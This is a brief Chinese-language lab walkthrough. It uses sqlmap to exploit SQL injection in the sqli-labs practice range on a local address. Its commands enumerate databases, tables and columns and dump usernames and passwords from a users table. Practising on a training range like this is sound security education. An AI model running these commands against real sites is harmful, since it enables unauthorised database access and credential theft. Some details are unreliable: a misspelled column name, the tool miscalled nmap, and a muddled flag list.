SQLmap使用方法,sqli-labs靶场

前言

需要的环境:Kali Linux、sql-labs靶场

需要有 phpstudy 或者其他集成环境

简介

SQL-map是一个非常强大的注入的工具,自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入,支持mysql、sql-service 等

必备知识点:

--dbs查看所有的数据库
-D  指定数据库
-T --tables查看数据表
-C --dump查看字段(用逗号隔开)

开始实验:

打开我们的sql靶场

 查看数据库

sqlmap -u 'http://10.23.1.172:88/Less-1/?id=1' --dbs

选择数据库

sqlmap -u 'http://10.23.1.172:88/Less-1/?id=1' -D security --tables

 选择数据表

 sqlmap -u "http://10.23.1.172:88/Less-1/?id=1" -D security -T users --columns

 查看数据字段

id password username 

sqlmap -u "http://10.23.1.172:88/Less-1/?id=1" -D security -T users -C id,password,uaername --dump

 看到里面的所有东西,完成实验

总结

简单使用nmap进行查询数据